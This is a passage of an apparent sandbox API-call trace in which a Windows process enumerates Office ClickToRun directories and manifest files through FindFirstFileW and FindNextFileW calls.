	[0063.178] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.178] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0063.178] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0063.178] FindClose (in: hFindFile=0xbaa6c8 | out: hFindFile=0xbaa6c8) returned 1
	[0063.178] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38c0090 | out: hHeap=0x2720000) returned 1
	[0063.178] FindNextFileW (in: hFindFile=0xbaa3c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0063.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa448
	[0063.181] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.182] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0063.182] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0063.182] FindClose (in: hFindFile=0xbaa448 | out: hFindFile=0xbaa448) returned 1
	[0063.186] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38c0090 | out: hHeap=0x2720000) returned 1
	[0063.187] FindNextFileW (in: hFindFile=0xbaa3c8, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0063.187] FindClose (in: hFindFile=0xbaa3c8 | out: hFindFile=0xbaa3c8) returned 1
	[0063.187] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.188] FindNextFileW (in: hFindFile=0xbaa408, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0
	[0063.188] FindClose (in: hFindFile=0xbaa408 | out: hFindFile=0xbaa408) returned 1
	[0063.188] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.188] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1
	[0063.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa888
	[0063.189] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.189] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.189] FindClose (in: hFindFile=0xbaa888 | out: hFindFile=0xbaa888) returned 1
	[0063.189] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.189] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0063.189] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa8c8
	[0063.199] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C210C4~1.XML")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C21578~1.XML")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1
	[0063.211] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C233DB~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C25956~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2f02a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2f02a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1
	[0063.212] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1
	[0063.213] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1
	[0063.213] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a3e81, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2a3e81, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1
	[0063.213] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1
	[0063.213] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1
	[0063.213] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1
	[0063.217] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1
